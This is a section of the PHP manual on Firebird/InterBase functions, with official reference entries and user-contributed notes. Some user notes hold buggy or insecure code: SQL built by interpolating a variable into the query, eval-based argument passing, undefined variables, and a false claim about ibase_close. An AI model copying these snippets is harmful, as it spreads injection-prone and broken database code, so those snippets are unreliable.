into the windows services file %WINDIR%\\system32\\drivers\\etc\\services
Robert Silvia 05-Dec-2004 02:02
Just to update Simon's note...

Things must have been fixed since Simon wrote that note.
With PHP5 the following example works flawlessly:

$strconnect = 'localhost:/opt/firebird/examples/employee.fdb';

if (!($db=ibase_connect($strconnect, 'sysdba', 'yourpass', 'ISO8859_1', 0, 1)))
    die('Could not connect: ' .  ibase_errmsg());

  $sql  = "SELECT PO_NUMBER, ORDER_STATUS, ITEM_TYPE FROM SALES";
  $cursor = ibase_query($sql);
  $row_array = ibase_fetch_row($cursor);

  print_r($row_array);

  ibase_free_result($cursor);
  ibase_close($db);

Also you CAN get away with the following connection string:
ibase_connect('/opt/firebird/examples/employee.fdb', 'sysdba', 'yourpass')
sam at intranex.ru 05-Aug-2004 01:08
If you get a sloooow work of ibase_connect on Win2003, try to update your FireBird to version 1.5 or above, and your InterBase to version 7.1. Or move back to Win2000 :)
simon at thorndancer dot com 15-Jun-2003 08:22
I found it difficult to get anything working using the current documentation.
While logic would suggest that the format in the docs should work (being based on all the
syntax of other standard database access functions) I had problem after problem. Finally I
found some comments on a newgroup that helped, and this is the result.

This is actual production code (not a mere example). It works.
Don't ask me why it is so different from the official docs.

if ( ibase_connect( $db_filespec,$db_user,$db_pass_word) )
{
    $query  = "SELECT c.id, c.title, c.description ";
    $query .= "FROM collections c ";
    $query .= "WHERE (c.id = $page_id) ";

    $result = ibase_query( $query );

    $row_array = ibase_fetch_row($result);

    $row_fetched = !empty($row_array);

    if ($row_fetched)
    {
       // Extract the row into variables

        $collection_id   = $row_array[0];
       $edit_title      = $row_array[1];
       $edit_desc       = $row_array[2];

       // Standardise the record contents

        $collection_id   = $collection_id + 0;      // force type to numeric
     }

    // Wrap up the database side of things

     ibase_commit();     // note parenthesis but no parameters.

     ibase_close;        // note total lack of parenthesis and parameters !
}

You'll notice that there is no reference to a database handle in this code.
It seems to be implicit when dealing with interbase functions. Certainly, I couldn't
get the code to work when using it explicitly. This makes the documentation
very hard to work with, and any reference to a handle needs to be ignored.

Important: ibase_close doesn't work for me if I put parenthesis after it.
eg:
        ibase_close;        // works
        ibase_close();      // fails
        ibase_close($db);   // fails

Note: the line "if ($row_fetched)" could be replaced with "while ($row_fetched)"
if you need to process more than one record.

All that said, Interbase is a fantastic database to work with and IMHO a much
better choice than something like PostgreSQL if you need to move up from MySQL
to something more industrial strength. Just be sure to RTFM.
anthony at trams dot com 21-Nov-2000 04:44
If you get a message like: 'Dynamic SQL Error SQL error code = -901 feature is not supported', this may be caused by InterBASE client 6.01 accessing a server running 5.x.

Make sure the dialect value is set to '1', like the following:

ibase_connect ('localhost:/usr/db/db.gdb', 'SYSDBA', 'masterkey', 'ISO8859_1', '100', '1' ) ;

That last value is the dialect, but you need the two preceding also, do avoid errors.

Anthony


Request statistics about a database

  • « ibase_connect
  • ibase_delete_user »
  • PHP Manual
  • Firebird/InterBase Functions
  • Request statistics about a database

ibase_db_info

(PHP 5)

ibase_db_info — Request statistics about a database

Description

string ibase_db_info ( resource $service_handle , string $db , int $action [, int $argument = 0 ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Delete a user from a security database

  • « ibase_db_info
  • ibase_drop_db »
  • PHP Manual
  • Firebird/InterBase Functions
  • Delete a user from a security database

ibase_delete_user

(PHP 5)

ibase_delete_user — Delete a user from a security database

Description

bool ibase_delete_user ( resource $service_handle , string $user_name )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_add_user() - Add a user to a security database
  • ibase_modify_user() - Modify a user to a security database

User Contributed Notes

There are no user contributed notes for this page.


Drops a database

  • « ibase_delete_user
  • ibase_errcode »
  • PHP Manual
  • Firebird/InterBase Functions
  • Drops a database

ibase_drop_db

(PHP 5)

ibase_drop_db — Drops a database

Description

bool ibase_drop_db ([ resource $connection = NULL ] )

This functions drops a database that was opened by either ibase_connect() or ibase_pconnect(). The database is closed and deleted from the server.

Parameters

connection

An InterBase link identifier. If omitted, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_connect() - Open a connection to a database
  • ibase_pconnect() - Open a persistent connection to an InterBase database

User Contributed Notes

There are no user contributed notes for this page.


Return an error code

  • « ibase_drop_db
  • ibase_errmsg »
  • PHP Manual
  • Firebird/InterBase Functions
  • Return an error code

ibase_errcode

(PHP 5)

ibase_errcode — Return an error code

Description

int ibase_errcode ( void )

Returns the error code that resulted from the most recent InterBase function call.

Return Values

Returns the error code as an integer, or FALSE if no error occurred.

See Also

  • ibase_errmsg() - Return error messages

User Contributed Notes

There are no user contributed notes for this page.


Return error messages

  • « ibase_errcode
  • ibase_execute »
  • PHP Manual
  • Firebird/InterBase Functions
  • Return error messages

ibase_errmsg

(PHP 5)

ibase_errmsg — Return error messages

Description

string ibase_errmsg ( void )

Returns the error message that resulted from the most recent InterBase function call.

Return Values

Returns the error message as a string, or FALSE if no error occurred.

See Also

  • ibase_errcode() - Return an error code

User Contributed Notes

There are no user contributed notes for this page.


Execute a previously prepared query

  • « ibase_errmsg
  • ibase_fetch_assoc »
  • PHP Manual
  • Firebird/InterBase Functions
  • Execute a previously prepared query

ibase_execute

(PHP 5)

ibase_execute — Execute a previously prepared query

Description

resource ibase_execute ( resource $query [, mixed $bind_arg [, mixed $... ]] )

Execute a query prepared by ibase_prepare().

This is a lot more effective than using ibase_query() if you are repeating a same kind of query several times with only some parameters changing.

Parameters

query

An InterBase query prepared by ibase_prepare().

bind_arg

...

Return Values

If the query raises an error, returns FALSE. If it is successful and there is a (possibly empty) result set (such as with a SELECT query), returns a result identifier. If the query was successful and there were no results, returns TRUE.

Note:

This function returns the number of rows affected by the query (if > 0 and applicable to the statement type). A query that succeeded, but did not affect any rows (e.g. an UPDATE of a non-existent record) will return TRUE.

Examples

Example #1 ibase_execute() example

<?php

$dbh = ibase_connect($host, $username, $password);

$updates = array(
    1 => 'Eric',
    5 => 'Filip',
    7 => 'Larry'
);

$query = ibase_prepare($dbh, "UPDATE FOO SET BAR = ? WHERE BAZ = ?");

foreach ($updates as $baz => $bar) {
    ibase_execute($query, $bar, $baz);
}

?>

See Also

  • ibase_query() - Execute a query on an InterBase database

User Contributed Notes

caveman 24-Jan-2003 07:18
ibase_execute only return resource id not the actual result, you need to use ibase_fetch_row or ibase_fetch_object to retrieve actual result.

On the example above given by anthony
it should be like these

 $dbh = ibase_connect ( $host, $username, $password ) ;
 $stmt = 'SELECT * FROM "EMPLOYEE" WHERE "SALARY" = ? AND "DEPT_CD" = ? ;' ;
 $prep = ibase_prepare ( $dbh, $stmt ) ;

 $salary = Array ( "10000", "25000", "33000", "48000" ) ;
 $dept_cd = 'SALES' ;

 foreach ( $salary as $val ) {
   $res = ibase_execute ($prep, $val, $dept_cd);
   $taxForm[$val] = ibase_fetch_row ($res);
}
mclap at ulstu dot ru 08-Sep-2002 03:54
For variable argument list in ibase_execute you can use folowing functions:

For PHP >= 4.0.4:

function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);
    array_unshift($data,$stmt);
    $rc=call_user_func_array('ibase_execute',$data);
    return $rc;
}

For any version of PHP:
function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);

    $params = array();
    while( list($k,$v) = each($data) )
        $params[$k] = '$data['.$k.']';
    eval('$rc=ibase_execute($stmt,'.join(',',$params).');');

    return $rc;
}


Fetch a result row from a query as an associative array

  • « ibase_execute
  • ibase_fetch_object »
  • PHP Manual
  • Firebird/InterBase Functions
  • Fetch a result row from a query as an associative array

ibase_fetch_assoc

(PHP 5)

ibase_fetch_assoc — Fetch a result row from a query as an associative array

Description

array ibase_fetch_assoc ( resource $result [, int $fetch_flag = 0 ] )

Fetch a result row from a query as an associative array.

ibase_fetch_assoc() fetches one row of data from the result. If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using ibase_fetch_row() or use alias names in your query.

Parameters

result

The result handle.

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

Return Values

Returns an associative array that corresponds to the fetched row. Subsequent calls will return the next row in the result set, or FALSE if there are no more rows.

See Also

  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_object() - Get an object from a InterBase database

User Contributed Notes

karasek ... ceskyserver - dot - cz 26-Apr-2005 09:37
Unlike mysql_fetch_assoc, all indexes of associative array are upper-case.

so, use
$row = ibase_fetch_assoc($result);

echo $row["INDEX"];
not
echo $row["index"];
sir_fred@ 14-Dec-2003 03:34
If your php is older than version 4.3.0, you can use the following:

$arr_record = get_object_vars(ibase_fetch_object($sql_result));

which is the same as: $arr_record = ibase_fetch_assoc($sql_result);


Get an object from a InterBase database

  • « ibase_fetch_assoc
  • ibase_fetch_row »
  • PHP Manual
  • Firebird/InterBase Functions
  • Get an object from a InterBase database

ibase_fetch_object

(PHP 5)

ibase_fetch_object — Get an object from a InterBase database

Description

object ibase_fetch_object ( resource $result_id [, int $fetch_flag = 0 ] )

Fetches a row as a pseudo-object from a given result identifier.

Subsequent calls to ibase_fetch_object() return the next row in the result set.

Parameters

result_id

An InterBase result identifier obtained either by ibase_query() or ibase_execute().

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

Return Values

Returns an object with the next row information, or FALSE if there are no more rows.

Examples

Example #1 ibase_fetch_object() example

<?php
$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    echo $row->email . "\n";
}
ibase_close($dbh);
?>

See Also

  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_assoc() - Fetch a result row from a query as an associative array

User Contributed Notes

r dot metzger at spectraweb dot ch 27-Nov-2000 11:55
Interbase not always stores in uppercase. It depends how you created the table. If you use CREATE TABLE xyz("email" varchar(90)) you can get informations with $row->email.

If you use CREATE TABLE xyz(email varchar(90)) you have to use $row->EMAIL.


Fetch a row from an InterBase database

  • « ibase_fetch_object
  • ibase_field_info »
  • PHP Manual
  • Firebird/InterBase Functions
  • Fetch a row from an InterBase database

ibase_fetch_row

(PHP 5)

ibase_fetch_row — Fetch a row from an InterBase database

Description

array ibase_fetch_row ( resource $result_identifier [, int $fetch_flag = 0 ] )

ibase_fetch_row() fetches one row of data from the given result set.

Subsequent calls to ibase_fetch_row() return the next row in the result set, or FALSE if there are no more rows.

Parameters

result_identifier

An InterBase result identifier.

fetch_flag

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows. Each result column is stored in an array offset, starting at offset 0.

See Also

  • ibase_fetch_assoc() - Fetch a result row from a query as an associative array
  • ibase_fetch_object() - Get an object from a InterBase database

User Contributed Notes

richard at wojthegame dot com 16-Mar-2006 03:06
If you have a query

"select ... from table1 where ..."

and would like to know the cardinality of the result set by issuing a separate query

"select count(*) from table1 where ..."

then you might end up with an incorrect value since an insert or delete can occur between the running of these queries (unlikely, but possible).
The only way i can think of getting the correct value would be something along the lines of

<?php

$qry = "select ... from table1 where ...";
$result = ibase_query($tr, $qry) // assume $tr is a transaction

$count = 0;
while ($row[$count] = ibase_fetch_assoc($result))
    $count++;

?>

then $count is the cardinality, and $row the result set.
Then you can work with the result set:

<?php

for ($i = 0; $i < $count; $i++)
{
  // do something with $row[$i]
}

?>
gurroa at gurroa dot cz 08-Jul-2003 09:41
I had some troubles with moving php application from one dbase to another. From SyBase to Interbase.
Especially with missing function "ibase_num_rows($result)".

These are functions that helped me.
<?php
...
$dbh = ibase_connect ($host, $username, $password);
...
$ar_count_queries = array();

function ibasequery($query) {
  $cquery = preg_replace("/SELECT(.*?)FROM(.*?)/","SELECT COUNT(*) FROM \\2",$query);
  if ($cquery != $query) {
   $crow=get_object_vars( ibase_fetch_object( ibase_query( $GLOBALS["dbh"], $cquery ) ) );
   }
  @$res = ibase_query($GLOBALS["dbh"],$query);
  if (isset($res)) {
    if (isset($crow)) {
     $GLOBALS["ar_count_queries"][$res] = $radcountselect["COUNT"];
    }
    return $res;
  }
   return false;
}

function ibasenumrows($result) {
  return $GLOBALS["ar_count_queries"][$res];
}

function ibasefetchrow($result) {
  return get_object_vars(ibase_fetch_object($result));
}

// example
$result = ibasequery("SELECT * FROM TABLE");
$numrows = ibasenumrows($result);
echo "Number of rows: $numrows.\nContent: \n";
while ($onerow = ibasefetchrow($res)) {
  foreach($onerow as $key => $value) {
    echo $key.": ".$value.", ";
  }
  echo "\n";
}
?>
Gurroa


Get information about a field

  • « ibase_fetch_row
  • ibase_free_event_handler »
  • PHP Manual
  • Firebird/InterBase Functions
  • Get information about a field

ibase_field_info

(PHP 5)

ibase_field_info — Get information about a field

Description

array ibase_field_info ( resource $result , int $field_number )

Returns an array with information about a field after a select query has been run.

Parameters

result

An InterBase result identifier.

field_number

Field offset.

Return Values

Returns an array with the following keys: name, alias, relation, length and type.

Examples

Example #1 ibase_field_info() example

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
    $col_info = ibase_field_info($rs, $i);
    echo "name: ". $col_info['name']. "\n";
    echo "alias: ". $col_info['alias']. "\n";
    echo "relation: ". $col_info['relation']. "\n";
    echo "length: ". $col_info['length']. "\n";
    echo "type: ". $col_info['type']. "\n";
}
?>

See Also

  • ibase_num_fields() - Get the number of fields in a result set

User Contributed Notes

tiago at econtabil dot com 13-Oct-2009 04:55
In Firebird 1.5 this function INT64 returned to the fields created as floating point numbers. In Firebird 2.x this function returns as NUMERIC (SIZE, PRECISION). Example: NUMERIC (18,2)

In Brazilian Portuguese:
No Firebird 1.5 esta função retornava INT64 para os campos criados como numéricos com ponto flutuante. No Firebird 2.x esta função retorna como NUMERIC(TAMANHO, PRECISAO). Exemplo: NUMERIC(18,2)
tiago at econtabil dot com 07-Apr-2006 01:40
Example:
$db = ibase_connect($host,$username,$password, "None", 0, 3 ) or die ('Error trying connect to Database!');

$select = "SELECT * from TABLE";
$sql = ibase_query($db,$select) or die($select);

$total_fields= ibase_num_fields($sql);

for ($j = 1; $j <= $total_fields; $j++)
  {
    $info_field = ibase_field_info($sql, $j-1 );
    print("Name: " . $info_campo[1]); // print the field name
    print("Type:". $info_campo[4]); //print the field type
    print("Size: " . $info_campo[3]); // print the field size
  }
This function does not return the type from the fields as we are accustomed in interbase.
Example: Fields VARCHAR are returns as VARYING. Fields of the type CHAR return TEXT.

Tested in Firebird 1.5 Super Server.


Cancels a registered event handler

  • « ibase_field_info
  • ibase_free_query »
  • PHP Manual
  • Firebird/InterBase Functions
  • Cancels a registered event handler

ibase_free_event_handler

(PHP 5)

ibase_free_event_handler — Cancels a registered event handler

Description

bool ibase_free_event_handler ( resource $event )

This function causes the registered event handler specified by event to be cancelled. The callback function will no longer be called for the events it was registered to handle.

Parameters

event

An event resource, created by ibase_set_event_handler().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_set_event_handler() - Register a callback function to be called when events are posted

User Contributed Notes

There are no user contributed notes for this page.


Free memory allocated by a prepared query

  • « ibase_free_event_handler
  • ibase_free_result »
  • PHP Manual
  • Firebird/InterBase Functions
  • Free memory allocated by a prepared query

ibase_free_query

(PHP 5)

ibase_free_query — Free memory allocated by a prepared query

Description

bool ibase_free_query ( resource $query )

Frees a prepared query.

Parameters

query

A query prepared with ibase_prepare().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Free a result set

  • « ibase_free_query
  • ibase_gen_id »
  • PHP Manual
  • Firebird/InterBase Functions
  • Free a result set

ibase_free_result

(PHP 5)

ibase_free_result — Free a result set

Description

bool ibase_free_result ( resource $result_identifier )

Frees a result set.

Parameters

result_identifier

A result set created by ibase_query() or ibase_execute().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Increments the named generator and returns its new value

  • « ibase_free_result
  • ibase_maintain_db »
  • PHP Manual
  • Firebird/InterBase Functions
  • Increments the named generator and returns its new value

ibase_gen_id

(PHP 5)

ibase_gen_id — Increments the named generator and returns its new value

Description

mixed ibase_gen_id ( string $generator [, int $increment = 1 [, resource $link_identifier = NULL ]] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns new generator value as integer, or as string if the value is too big.

User Contributed Notes

robert 12-Dec-2006 08:24
EXAMPLE:
You need to know the generator´s value after INSERT:

Before INSERT-Statement run

$nextnumber=ibase_gen_id ("GEN_NAME",1);

GEN_NAME: is the generator´s name

1: means add 1 to actual value of generator

$nextnumber: is variable to store generators value after incrementing

In the INSERT-Statement you can use $nextnumber instead of using generator directly like in:
INSERT INTO test (field1, field2) VALUES gen_id(gen_test_id, 1), 'testme');
escoric at latinmail dot com 17-Aug-2004 07:00
$sql="INSERT INTO mitabla(campo1,campo2,..campo n) VALUES(GEN_ID(mitabla1_codigo_gen,1),'contenido 1', 'contenido 2', 'contenido n' )";
mfischer at php dot net 28-Apr-2004 01:54
Question arose on php-dev:

How does ibase_gen_id() handle 64bit values?

Interbase 6/Firebird generators are always 64-bit signed integers
(Firebird's BIGINT type), regardless of the platform the client is
running.
On 64-bit platforms, this will never require conversion as PHP's int
type is 64 bits wide on those platforms. On 32-bit platforms, the
generated value is converted to a string if it exceeds the limits of a
32-bit signed integer.
(This behaviour is consistent with the ibase_fetch_*() functions, that
will use strings to represent numerical values that cannot be represented
accurately using native PHP numerical types.)

[Edited by PHP/Interbase maintainer.]


Execute a maintenance command on the database server

  • « ibase_gen_id
  • ibase_modify_user »
  • PHP Manual
  • Firebird/InterBase Functions
  • Execute a maintenance command on the database server

ibase_maintain_db

(PHP 5)

ibase_maintain_db — Execute a maintenance command on the database server

Description

bool ibase_maintain_db ( resource $service_handle , string $db , int $action [, int $argument = 0 ] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Modify a user to a security database

  • « ibase_maintain_db
  • ibase_name_result »
  • PHP Manual
  • Firebird/InterBase Functions
  • Modify a user to a security database

ibase_modify_user

(PHP 5)

ibase_modify_user — Modify a user to a security database

Description

bool ibase_modify_user ( resource $service_handle , string $user_name , string $password [, string $first_name [, string $middle_name [, string $last_name ]]] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_add_user() - Add a user to a security database
  • ibase_delete_user() - Delete a user from a security database

User Contributed Notes

admin at systecdurango dot com 10-Aug-2011 05:16
ibase microsip firebird

<?php
$user_name="ABC";
$password="123";

 $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey");
ibase_modify_user($ibserv, $user_name, $password);
ibase_service_detach($ibserv);
?>

 this change te password por user ABC to 123

SYSDBA USER AND PASSWORD IS NEED TO THIS LINE

<?php $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey"); ?>
_ex at navigators dot lv 24-Jan-2005 10:11
function changed in php 5! in earlier versions the syntax was:
bool ibase_modify_user ( string server, string dba_user_name, string dba_user_password, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])

now it's necessary to connect to service manager, then call ibase_modify_user() and then disconnect from service manager:
    $ibserv = ibase_service_attach($host, $dba_username, $dba_password);
    ibase_modify_user($ibserv, $user_name, $password);
    ibase_service_dettach($ibserv);


Assigns a name to a result set

  • « ibase_modify_user
  • ibase_num_fields »
  • PHP Manual
  • Firebird/InterBase Functions
  • Assigns a name to a result set

ibase_name_result

(PHP 5)

ibase_name_result — Assigns a name to a result set

Description

bool ibase_name_result ( resource $result , string $name )

This function assigns a name to a result set. This name can be used later in UPDATE|DELETE ... WHERE CURRENT OF name statements.

Parameters

result

An InterBase result set.

name

The name to be assigned.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ibase_name_result() example

<?php
$result = ibase_query("SELECT field1,field2 FROM table FOR UPDATE");
ibase_name_result($result, "my_cursor");

$updateqry = ibase_prepare("UPDATE table SET field2 = ? WHERE CURRENT OF my_cursor");

for ($i = 0; ibase_fetch_row($result); ++$i) {
    ibase_execute($updateqry, $i);
}
?>

See Also

  • ibase_prepare() - Prepare a query for later binding of parameter placeholders and execution
  • ibase_execute() - Execute a previously prepared query

User Contributed Notes

There are no user contributed notes for this page.


Get the number of fields in a result set

  • « ibase_name_result
  • ibase_num_params »
  • PHP Manual
  • Firebird/InterBase Functions
  • Get the number of fields in a result set

ibase_num_fields

(PHP 5)

ibase_num_fields — Get the number of fields in a result set

Description

int ibase_num_fields ( resource $result_id )

Get the number of fields in a result set.

Parameters

result_id

An InterBase result identifier.

Return Values

Returns the number of fields as an integer.

Examples

Example #1 ibase_num_fields() example

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
    $col_info = ibase_field_info($rs, $i);
    echo "name: " . $col_info['name'] . "\n";
    echo "alias: " . $col_info['alias'] . "\n";
    echo "relation: " . $col_info['relation'] . "\n";
    echo "length: " . $col_info['length'] . "\n";
    echo "type: " . $col_info['type'] . "\n";
}
?>

See Also

  • ibase_field_info() - Get information about a field

User Contributed Notes

There are no user contributed notes for this page.


Return the number of parameters in a prepared query

  • « ibase_num_fields
  • ibase_param_info »
  • PHP Manual
  • Firebird/InterBase Functions
  • Return the number of parameters in a prepared query

ibase_num_params

(PHP 5)

ibase_num_params — Return the number of parameters in a prepared query

Description

int ibase_num_params ( resource $query )

This function returns the number of parameters in the prepared query specified by query. This is the number of binding arguments that must be present when calling ibase_execute().

Parameters

query

The prepared query handle.

Return Values

Returns the number of parameters as an integer.

See Also

  • ibase_prepare() - Prepare a query for later binding of parameter placeholders and execution
  • ibase_param_info() - Return information about a parameter in a prepared query

User Contributed Notes

There are no user contributed notes for this page.


Return information about a parameter in a prepared query

  • « ibase_num_params
  • ibase_pconnect »
  • PHP Manual
  • Firebird/InterBase Functions
  • Return information about a parameter in a prepared query

ibase_param_info

(PHP 5)

ibase_param_info — Return information about a parameter in a prepared query

Description

array ibase_param_info ( resource $query , int $param_number )

Returns an array with information about a parameter after a query has been prepared.

Parameters

query

An InterBase prepared query handle.

param_number

Parameter offset.

Return Values

Returns an array with the following keys: name, alias, relation, length and type.

See Also

  • ibase_field_info() - Get information about a field
  • ibase_num_params() - Return the number of parameters in a prepared query

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to an InterBase database

  • « ibase_param_info
  • ibase_prepare »
  • PHP Manual
  • Firebird/InterBase Functions
  • Open a persistent connection to an InterBase database

ibase_pconnect

(PHP 5)

ibase_pconnect — Open a persistent connection to an InterBase database

Description

resource ibase_pconnect ([ string $database [, string $username [, string $password [, string $charset [, int $buffers [, int $dialect [, string $role [, int $sync ]]]]]]]] )

Opens a persistent connection to an InterBase database.

ibase_pconnect() acts very much like ibase_connect() with two major differences.

First, when connecting, the function will first try to find a (persistent) link that's already opened with the same parameters. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the InterBase server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ibase_close() will not close links established by ibase_pconnect()). This type of link is therefore called 'persistent'.

Parameters

database

The database argument has to be a valid path to database file on the server it resides on. If the server is not local, it must be prefixed with either 'hostname:' (TCP/IP), '//hostname/' (NetBEUI) or 'hostname@' (IPX/SPX), depending on the connection protocol used.

username

The user name. Can be set with the ibase.default_user php.ini directive.

password

The password for username. Can be set with the ibase.default_password php.ini directive.

charset

charset is the default character set for a database.

buffers

buffers is the number of database buffers to allocate for the server-side cache. If 0 or omitted, server chooses its own default.

dialect

dialect selects the default SQL dialect for any statement executed within a connection, and it defaults to the highest one supported by client libraries. Functional only with InterBase 6 and up.

role

Functional only with InterBase 5 and up.

sync

Return Values

Returns an InterBase link identifier on success, or FALSE on error.

See Also

  • ibase_close() - Close a connection to an InterBase database
  • ibase_connect() - Open a connection to a database

User Contributed Notes

houston_roadrunner at yahoo dot com 19-Apr-2006 05:18
To make a connection to a firebird database with pconnect many people like to use the SYSDBA, or database owner.
example:
$dbConnection = ibase_pconnect('path to db','SYSDBA','masterkey');

The above is fine unless you want to login in various user that have different permissions. To use permission make roles in the database, either as the database creator (or SYSDBA) and grant the roles to the various users.

If you login with...
$dbConnection = ibase_pconnect('path to db', 'USERNAME', 'userpassword');
...interbase will default your user to the PUBLIC role, which is created when the database is create and usualy has select rights on tables only. To get the proper role you will need to use all the parameters, like this...
$user='USERNAME';
$password='userpassword';
$role='MANAGER_HR';
$dbConnection = ibase_pconnect('path to db', $user, $password, '', 0, 3, $role, 0);

BTW - The "path to db", is formed like this...
---------------------
'localhost:c:/firebird/test_db/test.fdb'
---------------------

reading the interbase material, it states 3 connection methods, PHP appears to have selected the tcp type for us. So you can use localhost, or I suspect(never tested this myself) a ip address.


Prepare a query for later binding of parameter placeholders and execution

  • « ibase_pconnect
  • ibase_query »
  • PHP Manual
  • Firebird/InterBase Functions
  • Prepare a query for later binding of parameter placeholders and execution

ibase_prepare

(PHP 5)

ibase_prepare — Prepare a query for later binding of parameter placeholders and execution

Description

resource ibase_prepare ( string $query )
resource ibase_prepare ( resource $link_identifier , string $query )
resource ibase_prepare ( resource $link_identifier , string $trans , string $query )

Prepare a query for later binding of parameter placeholders and execution (via ibase_execute()).

Parameters

query

An InterBase query.

Return Values

Returns a prepared query handle, or FALSE on error.

User Contributed Notes

adamson dot ibus at gmail dot com 16-Aug-2012 10:14
ex.

<?php
$query = "SELECT * FROM EMPLOYEES";
$p_sql = ibase_prepare($query);
$result = ibase_execute($p_sql);
while($row = ibase_fetch_object($result)){
echo $row['FIRSTNAME'];
}


Execute a query on an InterBase database

  • « ibase_prepare
  • ibase_restore »
  • PHP Manual
  • Firebird/InterBase Functions
  • Execute a query on an InterBase database

ibase_query

(PHP 5)

ibase_query — Execute a query on an InterBase database

Description

resource ibase_query ([ resource $link_identifier ], string $query [, int $bind_args ] )

Performs a query on an InterBase database.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

query

An InterBase query.

bind_args

Return Values

If the query raises an error, returns FALSE. If it is successful and there is a (possibly empty) result set (such as with a SELECT query), returns a result identifier. If the query was successful and there were no results, returns TRUE.

Note:

In PHP 5.0.0 and up, this function will return the number of rows affected by the query for INSERT, UPDATE and DELETE statements. In order to retain backward compatibility, it will return TRUE for these statements if the query succeeded without affecting any rows.

Errors/Exceptions

If you get some error like "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (this occurs when you try use some character with accents) when using this and after ibase_query() you must set the character set (i.e. ISO8859_1 or your current character set).

Changelog

Version | Description
5.3.1 | On success the function now returns TRUE if there were no affected rows, where it previously returned 0 (a zero followed by an empty space).

Examples

Example #1 ibase_query() example

<?php

$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';

$sth = ibase_query($dbh, $stmt) or die(ibase_errmsg());

?>

See Also

  • ibase_errmsg() - Return error messages
  • ibase_fetch_row() - Fetch a row from an InterBase database
  • ibase_fetch_object() - Get an object from a InterBase database
  • ibase_free_result() - Free a result set

User Contributed Notes

escoric at latinmail dot com 17-Aug-2004 07:43
/* If your work environment is windows */

$link=ibase_connect ($path, $usuario, $password, 'WIN1251');
chrisg at cordell dot com dot au 04-Jun-2004 08:57
Simple function to retrieve the results of an SQL statement into an array, will also cater for BLOB fields:

<?php
function interbase_sql_exec ($sql) {
    $dataArr = array();
    $host = "svrname:path\filename.GDB";
    $username = "whatever";
    $password = "******";
    $connection = ibase_connect ($host, $username, $password,'ISO8859_1', '100', '1');
    $rid = @ibase_query ($connection, $sql);
    if ($rid===false) errorHandle(ibase_errmsg(),$sql);
    $coln = ibase_num_fields($rid);
    $blobFields = array();
    for ($i=0; $i < $coln; $i++) {
        $col_info = ibase_field_info($rid, $i);
        if ($col_info["type"]=="BLOB") $blobFields[$i] = $col_info["name"];
    }
    while ($row = ibase_fetch_row ($rid)) {
        foreach ($blobFields as $field_num=>$field_name) {
            $blobid = ibase_blob_open($row[$field_num]);
            $row[$field_num] = ibase_blob_get($blobid,102400);
            ibase_blob_close($blobid);
        }
        $dataArr[] = $row;
    }
    ibase_close ($connection);
    return $dataArr;
}
?>
SenorTZ senortz at nospam dot yahoo dot com 24-Jul-2003 01:18
Two comments on interogating system tables in Interbase or Firebird; I hope it helps.

1. if you try to build a query string to extract data from a system table (that has the form "rdb$some_name"), you should divide the "rdb$some_name" table name in your query string using the string merge operator ".".
$query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";

2. The second thing is related to the fact that you can later use (after the call to ibase_fetch_object) as field identifier the ALIAS used in the query for the "rdb$some_name" table.

Example:
$get_table_names_query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";
//
$res_table_names_query = ibase_query($dbconnection, $get_table_names_query);
//
while ($row_table_names = ibase_fetch_object($res_table_names_query))
{
    print($row_table_names->TABLE_NAME);//alias used
}

Editor's note:
it is easier to use a backslash to protect the $-sign.
